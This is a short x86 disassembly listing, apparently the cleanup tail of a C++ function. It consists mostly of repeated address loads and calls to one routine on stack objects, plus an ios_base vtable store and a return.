call fcn.00408464
lea ecx, [ebp - 0x264]
call fcn.00408464
lea ecx, [ebp - 0x27c]
call fcn.00408464
lea ecx, [ebp - 0x294]
call fcn.00408464
lea ecx, [ebp - 0x2ac]
call fcn.00408464
lea ecx, [ebp - 0x1d4]
call fcn.00408464
lea ecx, [ebp - 0x2c4]
call fcn.00408464
lea ecx, [ebp - 0x2dc]
call fcn.00408464
lea ecx, [ebp - 0x2f4]
call fcn.00408464
lea ecx, [ebp - 0x94]
call fcn.00408464
lea ecx, [ebp - 0x7d4]
call fcn.00408464
lea ecx, [ebp - 0x30c]
call fcn.00408464
lea ecx, [ebp - 0x324]
call fcn.00408464
lea ecx, [ebp - 0x33c]
call fcn.00408464
lea ecx, [ebp - 0x354]
call fcn.00408464
lea ecx, [ebp - 0x36c]
call fcn.00408464
lea ecx, [ebp - 0x384]
call fcn.00408464
lea ecx, [ebp - 0x39c]
call fcn.00408464
lea ecx, [ebp - 0x3b4]
call fcn.00408464
lea ecx, [ebp - 0x3cc]
call fcn.00408464
lea ecx, [ebp - 0x3e4]
call fcn.00408464
lea ecx, [ebp - 0x3fc]
call fcn.00408464
lea ecx, [ebp - 0x414]
call fcn.00408464
lea ecx, [ebp - 0x42c]
call fcn.00408464
lea ecx, [ebp - 0x444]
call fcn.00408464
lea ecx, [ebp - 0x45c]
call fcn.00408464
lea ecx, [ebp - 0x474]
call fcn.00408464
lea ecx, [ebp - 0x48c]
call fcn.00408464
lea ecx, [ebp - 0x4a4]
call fcn.00408464
lea ecx, [ebp - 0x4bc]
call fcn.00408464
lea ecx, [ebp - 0x4d4]
call fcn.00408464
lea ecx, [ebp - 0x4ec]
call fcn.00408464
lea ecx, [ebp - 0x504]
call fcn.00408464
lea ecx, [ebp - 0x51c]
call fcn.00408464
lea ecx, [ebp - 0x534]
call fcn.00408464
lea ecx, [ebp - 0x54c]
call fcn.00408464
lea ecx, [ebp - 0x564]
call fcn.00408464
lea ecx, [ebp - 0x57c]
call fcn.00408464
lea ecx, [ebp - 0x594]
call fcn.00408464
lea ecx, [ebp - 0x5ac]
call fcn.00408464
lea ecx, [ebp - 0x5c4]
call fcn.00408464
lea ecx, [ebp - 0x5dc]
call fcn.00408464
lea ecx, [ebp - 0x5f4]
call fcn.00408464
lea ecx, [ebp - 0x60c]
call fcn.00408464
lea ecx, [ebp - 0x624]
call fcn.00408464
lea ecx, [ebp - 0x63c]
call fcn.00408464
lea ecx, [ebp - 0x654]
call fcn.00408464
lea ecx, [ebp - 0x66c]
call fcn.00408464
lea ecx, [ebp - 0x684]
call fcn.00408464
lea ecx, [ebp - 0x69c]
call fcn.00408464
lea ecx, [ebp - 0x6b4]
call fcn.00408464
lea ecx, [ebp - 0x6cc]
call fcn.00408464
lea ecx, [ebp - 0x6e4]
call fcn.00408464
lea ecx, [ebp - 0x6fc]
call fcn.00408464
lea ecx, [ebp - 0x714]
call fcn.00408464
lea ecx, [ebp - 0x72c]
call fcn.00408464
lea ecx, [ebp - 0x744]
call fcn.00408464
lea ecx, [ebp - 0x75c]
call fcn.00408464
lea ecx, [ebp - 0x774]
call fcn.00408464
lea ecx, [ebp - 0x78c]
call fcn.00408464
lea ecx, [ebp - 0x7a4]
call fcn.00408464
lea ecx, [ebp - 0x7bc]
call fcn.00408464
lea ecx, [ebp - 0x18c]
call fcn.00408464
lea ecx, [ebp - 0x1a4]
call fcn.00408464
lea ecx, [ebp - 0x1bc]
call fcn.00408464
lea ecx, [ebp - 0x7ec]
call fcn.00408464
lea ecx, [ebp - 0xf4]
call fcn.0040749b
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0x5f
push eax
mov dword [ebp - 0xf4], vtable.std::ios_base.0
call fcn.0040f09d
pop ecx
lea ecx, [ebp - 0xac]
call fcn.00408464
lea ecx, [ebp - 0x8f4]
call fcn.00406c45
call fcn.00422039
ret
call fcn.0040885d
int3